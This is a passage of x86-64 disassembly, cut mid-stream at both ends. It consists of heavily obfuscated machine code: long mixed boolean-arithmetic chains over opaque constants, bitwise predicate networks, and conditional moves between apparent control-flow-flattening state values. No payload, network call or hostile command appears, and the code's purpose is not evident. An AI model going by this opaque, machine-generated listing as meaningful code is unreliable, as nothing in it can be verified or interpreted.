or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, r11d
xor cl, 1
mov ebx, ecx
and bl, r11b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov edx, eax
xor dl, 1
xor bl, 1
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
and al, dl
mov r9d, edx
and r9b, al
xor al, dl
or al, r9b
xor bl, 1
and r11b, al
xor al, 1
and al, cl
or al, r11b
xor cl, al
and cl, al
xor cl, bl
mov edx, ecx
xor dl, 1
and bl, dl
mov r9d, ebx
xor bl, cl
xor r9b, 1
or r9b, dl
xor r9b, 1
or r9b, bl
mov ecx, r8d
and cl, dil
mov edx, r8d
xor dl, dil
or dl, cl
xor dl, 1
xor r8b, r12b
xor r12b, 1
or r12b, r10b
xor r12b, 1
or r12b, r8b
xor r12b, dil
mov ecx, edx
xor cl, r12b
mov ebx, ecx
xor bl, 1
or r12b, dl
xor r12b, 1
or r12b, cl
xor cl, r12b
xor cl, 1
or r12b, bl
xor r12b, 1
or r12b, cl
mov ecx, r12d
xor cl, 1
mov edx, ecx
and dl, r12b
xor dl, 1
mov ebx, r12d
xor bl, dl
or dl, r12b
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
or cl, r12b
xor cl, 1
mov r8d, ecx
xor r8b, al
mov ebx, eax
and bl, dl
xor al, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
xor bl, cl
or cl, dl
xor r8b, 1
xor cl, 1
or cl, r8b
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, r9d
or al, cl
xor al, 1
xor cl, r9b
or al, cl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x575a7ffc
mov eax, 0x1fd01908
cmovne ebx, eax
test dl, 1
mov eax, 0x575a7ffc
cmovne eax, ebx
test cl, 1
jmp 0x14001e10b
mov eax, dword [0x1400a6668]
lea r8d, [rax - 1]
imul r8d, eax
mov edx, r8d
not edx
mov eax, edx
and eax, 0x2cd28429
mov ecx, r8d
and ecx, 0xd32d7bd6
or ecx, eax
mov r10d, ecx
xor r10d, edx
mov ebx, edx
mov dword [rbp + 0x30], edx
mov r9d, edx
and ebx, 0x1c804000
mov edi, r8d
and edi, 0x4179abb8
or edi, ebx
xor edi, 0x4179abb8
mov ebx, r8d
and ebx, 0xa2061447
or ebx, edi
mov edi, ebx
not edi
and edi, 0xa2061447
and ebx, 0x5df9ebb8
or ebx, edi
mov edi, ebx
not edi
and edi, 0xd32d7bd6
xor ebx, 0x2cd28429
or ebx, edi
mov edi, ebx
not edi
and r10d, ecx
mov ecx, r10d
not ecx
mov esi, ebx
xor esi, 0x95a58d7
and esi, ebx
mov edx, edi
and edx, 0x95a58d7
mov r14d, ecx
and r14d, 0xf6a5a728
mov eax, r10d
and eax, 0x95a58d7
or eax, r14d
mov r14d, esi
and r14d, edx
xor edx, esi
or edx, r14d
mov esi, edx
not esi
and esi, 0x9cf9bfb3
and edx, 0x6306404c
or edx, esi
mov esi, eax
not esi
and esi, 0x9cf9bfb3
and eax, 0x6306404c
or eax, esi
xor eax, edx
mov edx, edi
and edx, 0x978543ea
and ebx, 0x687abc15
or ebx, edx
or edi, r10d
and r10d, 0x978543ea
and ecx, 0x687abc15
or ecx, r10d
xor ecx, ebx
not edi
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x1ca86314
and edi, 0xe3579ceb
or edi, ecx
mov ecx, edi
xor ecx, 0xa0111021
mov edx, eax
not edx
xor edi, 0x1ca86314
mov ebx, edx
and ebx, 0x5beeacde
and eax, 0xa4115321
or eax, ebx
or edx, edi
and edi, 0x5beeacde
and ecx, 0xa4115321
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
xor eax, 0xe8564cdc
and eax, edx
or edx, 0x17a9b323
mov ecx, edx
not ecx
mov ebx, eax
not ebx
mov edi, edx
and edi, 0xe304482d
and ecx, 0x85204d0
or ecx, edi
or edx, ebx
and ebx, 0xe304482d
and eax, 0x1cfbb7d2
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x3b7b370a
and edx, 0xc484c8f5
or edx, eax
mov eax, edx
not eax
and eax, 0xbc65de14
and edx, 0x439a21eb
or edx, eax
mov eax, edx
not eax
and eax, 0x439a21eb
and edx, 0xbc65de14
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x214d8c9c
and ecx, edx
not edx
and edx, 0x1efd4aa5
and eax, 0xe102b55a
or eax, edx
mov edx, eax
xor edx, 0xe102b55a
xor eax, 0x16490a04
mov ebx, edx
and ebx, 0x214d8c9c
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xda99bdbd
and ecx, 0x25664242
or ecx, ebx
mov ebx, ecx
xor ebx, 0xa980
and eax, 0xd64b2e46
mov edi, edx
and edi, 0x29b4d1b9
or edi, eax
xor edi, 0x42cd5b12
and edx, 0x94867554
or edx, edi
mov eax, edx
not eax
and eax, 0xce1a94c8
and edx, 0x31e56b37
or edx, eax
mov eax, edx
xor eax, 0x2935
xor edx, 0xce1a94c8
xor ecx, 0x6f524475
mov edi, ecx
and edi, 0xf5fd520a
and ebx, 0xa02adf5
or ebx, edi
or ecx, edx
and edx, 0xf5fd520a
and eax, 0xa02adf5
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
or eax, 0x1bcbfcfc
mov ebx, eax
not ebx
or ecx, 0x40300001
and ecx, 0x53baa4d1
and edx, 0x841582c
or edx, ecx
and eax, 0x53baa4d1
and ebx, 0xa4040302
or ebx, eax
xor ebx, edx
mov eax, ebx
not eax
and eax, 0xe4340303
and ebx, 0x1bcbfcfc
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x80788877
and ebx, 0x7f877788
or ebx, ecx
xor ebx, 0x7f877788
or ebx, eax
mov r14d, ebx
not r14d
and r9d, 0xe000894
mov dword [rbp + 0x2c], r8d
mov ecx, r8d
and ecx, 0x40d8e442
or ecx, r9d
xor ecx, 0x40d8e442
mov edx, r8d
xor edx, 0x4ed8ecd6
and edx, r8d
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xd75fde54
and edx, 0x28a021ab
or edx, ecx
mov ecx, edx
xor ecx, 0x62788829
xor edx, 0x99873282
mov edi, edx
or edi, 0x6b798aab
mov esi, edi
not esi
and edx, 0x94867554
and ecx, 0x6b798aab
or ecx, edx
mov edx, ecx
not edx
mov eax, edi
and eax, 0xef7f02c0
and esi, 0x10807514
or esi, eax
or edi, edx
and edx, 0xef7f02c0
and ecx, 0x1080fd3f
or ecx, edx
xor ecx, esi
not edi
or edi, ecx
mov eax, edi
mov esi, edi
xor esi, 0xc8d18806
and esi, edi
not edi
and edi, 0x48800002
and eax, 0x80518804
or eax, edi
xor eax, 0x80518804
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
not eax
and eax, 0x372e77f9
and esi, 0xc8d18806
or esi, eax
mov r12d, esi
not r12d
mov eax, ebx
and eax, 0xb03ec79c
mov ecx, r14d
and ecx, 0x4fc13863
or ecx, eax
mov eax, ecx
xor eax, 0xa800021
xor ecx, 0x510
mov edx, ebx
or edx, 0x8e8ca533
mov r10d, edx
not r10d
or ecx, 0x11011800
and ecx, 0x15013d12
and eax, 0x8a8c8021
or eax, ecx
and edx, 0x15013d12
and r10d, 0x607242cc
or r10d, edx
xor r10d, eax
mov eax, r10d
not eax
and eax, 0xd1748e0d
and r10d, 0x2e8b71f2
or r10d, eax
mov r13d, r10d
xor r13d, 0xa007d4c1
mov eax, r12d
and eax, 0x6f7719af
mov r15d, esi
and r15d, 0x9088e650
or r15d, eax
mov ecx, r10d
xor ecx, 0x5ff82b3e
mov eax, ecx
mov r9d, ecx
and eax, 0x62523138
mov ecx, r13d
and ecx, 0x9dadcec7
or ecx, eax
mov edi, ecx
xor edi, 0x9dadcec7
xor ecx, 0x2402120
and ecx, 0x8ac1e5e5
mov eax, edi
and eax, 0x753e1a1a
or eax, ecx
mov ecx, r15d
xor ecx, 0x9088e650
mov edx, ecx
mov dword [rbp + 0x28], ecx
xor r15d, 0x6f7719af
xor eax, 0x6070d8f9
and edi, 0xeab13d1c
or edi, eax
mov eax, edi
not eax
and eax, 0xb1f1bbd4
and edi, 0x4e0e442b
or edi, eax
and ebx, 0x88636b32
and r14d, 0x779c94cd
or r14d, ebx
mov ecx, r14d
xor ecx, 0x779c94cd
xor r14d, 0x80412200
and r14d, 0xa4d53648
mov eax, ecx
and eax, 0x5b2ac9b7
or eax, r14d
xor eax, 0xb19bf4ab
and ecx, 0x154ec2e3
or ecx, eax
mov eax, ecx
not eax
and eax, 0x3d7ce6df
and ecx, 0xc2831920
or ecx, eax
mov ebx, r15d
and ebx, 0xeab13d1c
mov eax, edx
and eax, 0x154ec2e3
or eax, ebx
mov ebx, eax
xor ebx, r15d
and ebx, eax
mov eax, r12d
and eax, 0x154ec2e3
and esi, 0xeab13d1c
or esi, eax
mov r14d, edi
xor r14d, 0x4e0e442b
xor r12d, esi
and r12d, esi
xor edi, 0x90a08204
and edi, 0x96aec605
mov eax, r14d
and eax, 0x695139fa
or eax, edi
mov edi, ecx
xor edi, 0xc2831920
mov esi, ecx
xor esi, 0x29486053
and esi, 0xeb487973
xor ecx, 0x3a754e27
and ecx, edi
and edi, 0x14b7868c
or edi, esi
xor eax, 0x695139fa
mov esi, edi
xor esi, 0x14b7868c
xor edi, 0x13be2e74
and edi, esi
mov r8d, eax
and r8d, esi
xor esi, eax
and eax, 0xf8f65707
and r14d, 0x709a8f8
or r14d, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0xf4a22216
and edi, 0xb5ddde9
or edi, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0xf4a22216
and ecx, 0xb5ddde9
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ecx, r14d
not ecx
and ecx, eax
not eax
and eax, r14d
or eax, ecx
or esi, r8d
not esi
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, ebx
not eax
mov ecx, eax
and eax, 0x741e6be9
and ebx, 0x8be19416
or ebx, eax
mov eax, r12d
not eax
or ecx, eax
and eax, 0x741e6be9
and r12d, 0x8be19416
or r12d, eax
mov r14d, ecx
not r14d
xor r12d, ebx
mov eax, ecx
and eax, 0xd93250c8
and r14d, 0x26cdaf37
or r14d, eax
mov eax, r12d
not eax
or ecx, eax
and eax, 0xd93250c8
and r12d, 0x26cdaf37
or r12d, eax
mov r11d, dword [rbp + 0x30]
mov ebx, r11d
xor r12d, r14d
not ecx
or ecx, r12d
mov eax, ecx
not eax
mov edx, eax
or edx, esi
not edx
and eax, 0x19996176
and ecx, 0xe6669e89
or ecx, eax
xor ecx, esi
xor ecx, 0x19996176
and ecx, esi
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
xor r10d, 0xc2c40f5a
mov edx, r10d
mov r14d, r9d
and edx, r9d
and r10d, r13d
mov eax, edx
not eax
mov edi, eax
and edi, 0xe5581024
and edx, 0x1aa7efdb
or edx, edi
mov edi, r10d
not edi
or eax, edi
and edi, 0xe5581024
and r10d, 0x1aa7efdb
or r10d, edi
mov r9d, dword [rbp + 0x28]
mov edi, r9d
or edi, 0x9d3c2464
xor r10d, edx
mov r8d, edi
not r8d
not eax
or eax, r10d
mov edx, r15d
or edx, 0x62c3db9b
and edi, 0xd0aca205
and r8d, 0x2243599a
or r8d, edi
mov esi, edx
not esi
and edx, 0xd0aca205
and esi, 0xd100460
or esi, edx
mov r10d, r11d
xor esi, r8d
mov edx, eax
not edx
and edx, esi
not esi
and esi, eax
or esi, edx
mov eax, r13d
and eax, 0xa3cb6092
mov edx, r14d
and edx, 0x5c349f6d
or edx, eax
or r13d, r9d
and r9d, 0xa3cb6092
and r15d, 0x5c349f6d
or r15d, r9d
xor r15d, edx
not r13d
or r13d, r15d
mov eax, r13d
not eax
and eax, 0x2fee16c4
and r13d, 0xd011e93b
or r13d, eax
xor r13d, 0xd011e93b
mov eax, esi
and eax, r13d
xor r13d, esi
or r13d, eax
mov eax, r13d
not eax
and eax, 0x6d3878d2
and r13d, 0x92c7872d
or r13d, eax
mov eax, r13d
not eax
and eax, 0x2378d2c7
and r13d, 0xdc872d38
or r13d, eax
mov eax, r13d
xor eax, 0xb0af116a
xor r13d, 0x4e40aa15
mov edx, r13d
and edx, 0x4510ec95
and eax, 0xbaef136a
or eax, edx
xor eax, 0x4510ec95
xor r13d, eax
and r13d, eax
mov r9d, ecx
not r9d
mov esi, r13d
not esi
mov eax, ecx
xor eax, 0xcfef4cde
and eax, r9d
mov edi, ecx
and edi, 0x3010b321
mov edx, r13d
xor edx, 0xcfef4cde
and edx, esi
mov r8d, eax
and r8d, edi
xor edi, eax
mov eax, r13d
and eax, 0x3010b321
or edi, r8d
mov r14d, edx
and r14d, eax
xor eax, edx
mov edx, dword [rbp + 0x2c]
and ebx, edx
mov r15d, edx
and r10d, 0x161b58e9
and edx, 0xe9e4a716
or edx, r10d
not edx
or edx, r11d
mov r10d, edx
or eax, r14d
mov edx, edi
not edx
and edx, 0x6c01d7f
and edi, 0xf93fe280
or edi, edx
mov edx, eax
not edx
and edx, 0x6c01d7f
and eax, 0xf93fe280
or eax, edx
xor eax, edi
mov edx, ecx
and edx, 0x8d3032ef
and r9d, 0x72cfcd10
or r9d, edx
or ecx, r13d
and r13d, 0x8d3032ef
and esi, 0x72cfcd10
or esi, r13d
xor esi, r9d
not ecx
or ecx, esi
not ecx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x6d8e568a
mov esi, ecx
and esi, 0x9271a975
or esi, edx
mov edi, esi
xor edi, 0x92312024
xor esi, 0x4906508a
and esi, 0x4946d9db
and edi, 0xb6b92624
or edi, esi
mov edx, edi
xor edx, 0x84902200
xor edi, 0x4142d950
and edi, 0x736bdd74
and edx, 0x8c94228b
or edx, edi
mov edi, edx
xor edi, 0x81723314
xor edx, 0x8c94228b
and edx, edi
and eax, 0xf219ee60
xor ecx, 0xde6119f
or ecx, eax
mov eax, ecx
not eax
mov edi, edx
xor edi, ecx
and edi, edx
mov esi, edx
not esi
and esi, 0x4ed70a51
and edx, 0xb128f5ae
or edx, esi
and ecx, 0x4ed70a51
and eax, 0xb128f5ae
or eax, ecx
xor eax, edx
mov edx, edi
not edx
mov ecx, eax
not ecx
mov esi, edx
and esi, 0xb7c6a435
and edi, 0x48395bca
or edi, esi
or edx, ecx
and ecx, 0xb7c6a435
and eax, 0x48395bca
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0x292b4bf1
and eax, edx
not edx
and edx, 0x1000950
and ecx, 0x282b42a1
or ecx, edx
mov edx, ecx
xor edx, 0x280900a1
xor ecx, 0xd7d4bd5e
mov edi, eax
not edi
mov esi, ecx
and esi, 0x5276ea1a
and edx, 0x290901e1
or edx, esi
or ecx, edi
and edi, 0x5276ea1a
and eax, 0xad8915e5
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xaa4db0bb
and ecx, 0x55b24f44
or ecx, eax
mov r14d, ecx
xor r14d, 0x1a069f80
mov eax, ebx
not eax
and r11d, 0xdc34eab3
and r15d, 0x23cb154c
or r15d, r11d
mov edx, r15d
xor edx, 0x23430404
xor r15d, 0xdc34eab3
mov edi, r15d
and edi, 0x4c98bbfa
and edx, 0xb3674405
or edx, edi
or r15d, eax
and eax, 0x4c98bbfa
and ebx, 0xb3674405
or ebx, eax
xor ebx, edx
not r15d
or r15d, ebx
mov edx, r15d
not edx
and r15d, 0x3588fdc4
and edx, 0xca77023b
or edx, r15d
mov eax, edx
xor eax, 0x2393a52d
xor edx, 0xca77023b
and edx, eax
mov r9d, r10d
not r9d
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xb17b55a2
mov esi, edx
and esi, 0x4e84aa5d
or esi, eax
mov r8d, r10d
and r8d, 0xb17b55a2
mov eax, r9d
and eax, 0x4e84aa5d
or eax, r8d
mov edi, esi
not edi
and edi, eax
not eax
and eax, esi
or eax, edi
mov edi, edx
and edi, 0x230a67e2
and ebx, 0xdcf5981d
or ebx, edi
or edx, r9d
and r9d, 0x230a67e2
and r10d, 0xdcf5981d
or r10d, r9d
xor r10d, ebx
not edx
or edx, r10d
mov ebx, edx
not ebx
mov esi, eax
not esi
mov edi, esi
and edi, 0xe5773d5e
and eax, 0x1a88c2a1
or eax, edi
or esi, edx
and edx, 0xe5773d5e
and ebx, 0x1a88c2a1
or ebx, edx
xor ebx, eax
not esi
or esi, ebx
mov ebx, esi
mov eax, esi
xor eax, 0xe9e4a716
and eax, esi
not esi
and esi, 0x73e7c571
and ebx, 0x8c183a8e
or ebx, esi
mov edx, ebx
xor edx, 0x88002204
xor ebx, 0x61e48510
or ebx, 0x161b58e9
mov edi, eax
not edi
mov esi, ebx
and esi, 0x5748d1c3
and edx, 0xa8a42614
or edx, esi
or ebx, edi
and edi, 0x5748d1c3
and eax, 0xa8b72e3c
or eax, edi
xor eax, edx
not ebx
or ebx, eax
mov r8d, ecx
xor r8d, 0xe5f9607f
xor ecx, 0xedf9cf43
and ecx, r14d
mov eax, r14d
or eax, 0x800af3c
mov edx, ecx
not edx
mov edi, eax
and edi, 0x50563bc7
mov esi, r8d
and esi, 0xa7a94000
or esi, edi
or eax, edx
and edx, 0x50563bc7
and ecx, 0xafa9c438
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x5d216205
and eax, 0xa2de9dfa
or eax, ecx
mov ecx, eax
xor ecx, 0x4004101
xor eax, 0x441200
and ecx, 0x8c104105
and eax, 0x50641200
or eax, ecx
mov r10d, eax
xor r10d, 0x50641200
xor eax, 0x8d990d14
mov ecx, r8d
and ecx, 0x78f52059
mov edx, r14d
and edx, 0x870adfa6
or edx, ecx
mov r9d, edx
xor r9d, 0x870adfa6
xor edx, 0x18d12050
and edx, 0x9cd3bbf0
mov ecx, r9d
and ecx, 0x632c440f
or ecx, edx
xor ecx, 0x40a7e8f5
and r9d, 0xdc745305
or r9d, ecx
mov r11d, ebx
not r11d
mov ecx, r11d
and ecx, 0x6439f6a6
mov edx, ebx
and edx, 0x9bc60959
or edx, ecx
mov ecx, edx
xor ecx, 0x8a000118
xor edx, 0x6439f6a6
mov esi, r11d
and esi, ebx
mov edi, edx
and edi, 0x55cfeec7
and ecx, 0xaa301138
or ecx, edi
mov edi, esi
not edi
or edx, edi
and edi, 0x55cfeec7
and esi, 0xaa301138
or esi, edi
mov r15d, r9d
not r15d
xor esi, ecx
not edx
or edx, esi
mov ecx, edx
not ecx
and ecx, 0x3ad84f81
and edx, 0xc527b07e
or edx, ecx
mov ecx, edx
xor ecx, 0xc527b07e
xor edx, 0x22504281
and edx, 0x6375f2af
mov esi, ecx
and esi, 0x9c8a0d50
or esi, edx
xor esi, 0x40fe5e55
and ecx, 0x238bacfa
or ecx, esi
mov edx, r11d
and edx, 0xdc745305
and ebx, 0x238bacfa
or ebx, edx
xor r11d, ebx
and r11d, ebx
and eax, 0xddf90f14
mov edx, r10d
and edx, 0x45001
or edx, eax
xor edx, 0x2206f0eb
mov eax, r9d
and eax, 0x6d80b245
and r15d, 0x927f4dba
or r15d, eax
mov edi, r15d
xor edi, 0x927f4dba
xor r15d, 0x74624b71
and r15d, edi
mov esi, edx
and esi, edi
xor edi, edx
and edx, 0x19e2f934
and r10d, 0xc4140201
or r10d, edx
or r9d, 0x19e2f934
mov edx, r15d
not edx
mov ebx, edx
and ebx, 0x933d1b2
and r15d, 0xf6cc2e4d
or r15d, ebx
mov ebx, r9d
not ebx
or edx, r9d
and r9d, 0x933d1b2
and ebx, 0xe60c0649
or ebx, r9d
mov r9d, dword [0x1400a6664]
xor ebx, r15d
mov r15d, ecx
not r15d
not edx
or edx, ebx
mov ebx, r10d
not ebx
and ebx, edx
not edx
and edx, r10d
or edx, ebx
or edi, esi
mov eax, edi
not eax
mov ebx, edx
not ebx
mov esi, ebx
and esi, 0x38ac56e
and edx, 0xfc753a91
or edx, esi
or ebx, edi
and edi, 0x38ac56e
and eax, 0xfc753a91
or eax, edi
xor eax, edx
not ebx
or ebx, eax
mov edx, r11d
not edx
and r11d, ecx
or ecx, edx
not ecx
and edx, r15d
or edx, r11d
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, ebx
not eax
and eax, 0x7dc523
mov ecx, ebx
and ecx, 0xff823adc
or ecx, eax
not edx
xor ecx, 0x7dc523
or ecx, edx
not ecx
xor edx, ebx
not edx
and edx, ebx
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
and r8d, 0x9000000
mov eax, r14d
and eax, 0xa6121406
or eax, r8d
xor eax, 0xa6121406
and r14d, 0x50edebf9
or r14d, eax
mov eax, r14d
not eax
and eax, 0x50edebf9
and r14d, 0xaf121406
or r14d, eax
mov eax, edx
not eax
mov ecx, eax
xor ecx, r14d
not ecx
and ecx, r14d
mov ebx, r14d
not ebx
and ebx, 0xb9a1f935
and r14d, 0x465e06ca
or r14d, ebx
xor r14d, 0xb9a1f935
or r14d, eax
not r14d
mov ebx, ecx
and ebx, r14d
xor r14d, ecx
or r14d, ebx
and eax, 0xaccd4aa8
and edx, 0x5332b557
or edx, eax
mov eax, edx
xor eax, 0x1132a457
mov ecx, r14d
not ecx
mov ebx, ecx
and ebx, 0x6a851ba8
and r14d, 0x957ae457
or r14d, ebx
xor edx, 0x28850aa8
and edx, 0x6a851ba8
and eax, 0x957ae457
or eax, edx
xor eax, r14d
xor ecx, eax
test ecx, eax
sete r10b
setne r11b
mov byte [rbp + 0x2c], r11b
cmp r9d, 0xa
setl r8b
cmp r9d, 9
setg r15b
mov r14d, r15d
xor r14b, r8b
mov eax, r14d
xor al, 1
mov r9d, r14d
and r9b, r8b
mov edx, r15d
and dl, al
or dl, r9b
xor dl, 1
or dl, r8b
mov ecx, edx
not cl
and al, r14b
xor al, 1
mov ebx, eax
xor bl, r14b
or al, r14b
xor al, 1
or al, bl
mov ebx, eax
and bl, r8b
xor al, 1
and al, r15b
or al, bl
mov ebx, eax
xor bl, 1
and al, dl
or dl, bl
and bl, cl
or bl, al
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov esi, ebx
mov eax, r11d
xor al, r10b
mov edx, eax
xor dl, 1
mov byte [rbp + 0x28], dl
and al, dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, 1
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
mov r11d, edx
xor r11b, 1
mov ebx, r10d
xor bl, al
not bl
and bl, al
or al, r10b
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov edi, ebx
xor dil, 1
and bl, dl
or dl, dil
and dil, r11b
or dil, bl
mov eax, edx
xor al, dil
xor dil, 1
xor al, 1
or dil, dl
xor dil, 1
or dil, al
mov eax, esi
mov byte [rbp + 0x30], sil
mov edx, esi
xor dl, 1
mov r11d, edx
and r11b, al
mov ecx, r11d
xor cl, 1
and al, cl
or cl, dl
xor cl, 1
mov r10d, edx
and r10b, r11b
or al, r10b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov r13d, eax
xor r13b, 1
xor r11b, dl
or r11b, r10b
mov r10d, r11d
xor r10b, 1
mov ebx, r10d
or bl, r13b
xor bl, 1
mov esi, eax
or sil, r11b
xor sil, 1
mov ecx, ebx
and cl, sil
xor sil, bl
or sil, cl
xor al, sil
xor al, 1
or sil, r13b
xor sil, 1
or sil, al
xor r15b, r14b
xor r14b, r8b
or r14b, r9b
mov eax, r15d
xor al, r14b
or r14b, r15b
xor r14b, 1
or r14b, al
mov r15d, r14d
xor r15b, 1
mov eax, r15d
and al, r14b
mov ebx, r15d
xor bl, al
xor al, 1
or al, r14b
xor al, 1
or al, bl
mov r8d, eax
xor r8b, 1
or r15b, r14b
mov r9d, r15d
xor r9b, 1
mov ecx, eax
and cl, r8b
mov r12d, r9d
and r12b, r15b
mov r14d, ecx
and r14b, al
xor cl, al
or cl, r14b
mov eax, r12d
and al, r9b
xor r12b, r9b
or r12b, al
mov eax, ecx
xor al, 1
and al, r12b
xor r12b, 1
and r12b, cl
or r12b, al
mov eax, r8d
and al, r15b
xor r15b, r8b
or r15b, al
mov eax, r15d
xor al, r12b
xor r12b, 1
xor al, 1
or r12b, r15b
xor r12b, 1
or r12b, al
mov ecx, edi
xor cl, 1
mov r9d, edi
xor r9b, cl
and r9b, dil
mov r15d, edi
mov r13d, edi
or r13b, cl
mov eax, r13d
xor al, 1
mov r14d, eax
and r14b, r13b
mov ebx, r14d
and bl, al
xor r14b, al
and r11b, r10b
mov eax, r10d
and al, r11b
xor r11b, r10b
or r11b, al
mov byte [rbp + 0x3d], r11b
mov eax, r11d
xor al, 1
and al, dil
mov byte [rbp + 0x3b], al
or r14b, bl
xor r14b, r9b
xor r9b, 1
mov eax, r13d
and al, r9b
xor r9b, r13b
or r9b, al
xor r9b, 1
mov eax, r14d
and al, r9b
xor r9b, r14b
or r9b, al
mov eax, r9d
xor al, 1
mov r14d, eax
and r14b, r9b
mov r13d, eax
and r13b, r14b
xor r14b, al
mov eax, r10d
and al, dil
mov byte [rbp + 0x38], al
xor r10b, dil
mov byte [rbp + 0x3c], r10b
or r14b, r13b
mov eax, edx
and al, dil
mov byte [rbp + 0x39], al
xor dl, dil
mov byte [rbp + 0x3a], dl
mov byte [rbp + 0x37], cl
and r15b, cl
xor dil, r15b
xor r15b, 1
or r15b, cl
xor r15b, 1
or r15b, dil
mov eax, r14d
xor al, 1
and al, r15b
xor r15b, 1
and r15b, r14b
mov r10d, esi
xor r10b, 1
or r15b, al
mov eax, r9d
xor al, cl
or r9b, cl
xor r9b, 1
or r9b, al
xor r9b, 1
mov eax, r15d
and al, r9b
xor r9b, r15b
or r9b, al
mov r13b, byte [rbp + 0x28]
mov eax, r13d
mov cl, byte [rbp + 0x2c]
and al, cl
xor r13b, cl
or r13b, al
mov r14d, esi
and r14b, r10b
mov edi, r14d
and dil, sil
mov r15d, r14d
xor r15b, sil
or dil, r15b
mov eax, esi
or al, r10b
xor al, 1
mov ecx, edi
and cl, al
xor al, dil
or al, cl
mov ecx, r12d
xor cl, 1
mov edi, r12d
or dil, cl
mov r11d, r12d
and r11b, cl
mov ebx, r11d
xor bl, 1
xor r12b, r11b
or bl, cl
xor bl, 1
or bl, r12b
xor bl, dil
mov edx, edi
and dl, cl
xor dil, cl
or dil, dl
mov ecx, ebx
xor cl, dil
or dil, bl
xor dil, 1
or dil, cl
xor r14b, 1
or r14b, r10b
xor r14b, 1
or r14b, r15b
xor sil, r14b
or r14b, r10b
xor sil, 1
xor r14b, 1
or r14b, sil
mov ecx, r14d
xor cl, 1
and r14b, cl
mov edx, ecx
and dl, r14b
xor r14b, cl
or r14b, dl
mov r15d, eax
xor r15b, 1
and r12b, r11b
mov ecx, r15d
or cl, al
xor cl, 1
or cl, r15b
mov edx, ecx
xor dl, 1
mov ebx, r14d
xor bl, 1
or cl, dl
xor cl, 1
or bl, r14b
xor bl, 1
mov r10d, ebx
xor r10b, r14b
or bl, r14b
mov r11d, edx
or r11b, r14b
xor r14b, dl
xor dl, cl
xor dl, 1
and cl, dl
xor cl, 1
mov r8d, ecx
xor r8b, dl
or cl, dl
xor cl, 1
or cl, r8b
xor bl, 1
or bl, r10b
xor r10b, 1
mov edx, r10d
xor dl, bl
or bl, r10b
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, cl
and bl, dl
and dl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
xor r11b, 1
mov ecx, r11d
and cl, r14b
xor r14b, r11b
or r14b, cl
mov ecx, r14d
xor cl, 1
mov ebx, edx
xor bl, 1
and r14b, dl
and bl, cl
or bl, r14b
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
xor bl, 1
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov r10d, r15d
and r15b, al
xor r15b, 1
mov ecx, eax
xor cl, r15b
or r15b, al
xor r15b, 1
or r15b, cl
mov ecx, edi
xor cl, 1
mov r14d, eax
or r14b, cl
mov r8d, r15d
and r15b, cl
xor cl, dil
xor cl, 1
or cl, dil
mov r11d, ecx
xor r11b, 1
mov edx, r12d
xor dl, 1
mov eax, r11d
and al, r12b
and r12b, dl
xor r12b, 1
mov esi, r12d
xor sil, dl
or r12b, dl
and dl, cl
or al, dl
mov edx, eax
xor dl, cl
and dl, al
xor r12b, 1
or r12b, sil
and cl, r12b
xor r12b, 1
and r12b, r11b
or r12b, cl
xor dl, 1
xor r12b, 1
mov eax, edx
or al, r12b
xor r12b, dl
xor r12b, 1
mov ecx, eax
xor cl, r12b
or r12b, al
xor r12b, 1
or r12b, cl
mov ecx, ebx
xor cl, 1
mov edx, r12d
xor dl, 1
and bl, dl
and r12b, cl
or r12b, bl
mov eax, r12d
xor al, dl
and al, r12b
xor dl, cl
xor cl, dl
and cl, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and cl, dl
and al, bl
or al, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
xor al, 1
or al, cl
xor r10b, dil
xor r14b, 1
or r14b, r10b
mov r10d, r9d
xor r10b, 1
xor r14b, 1
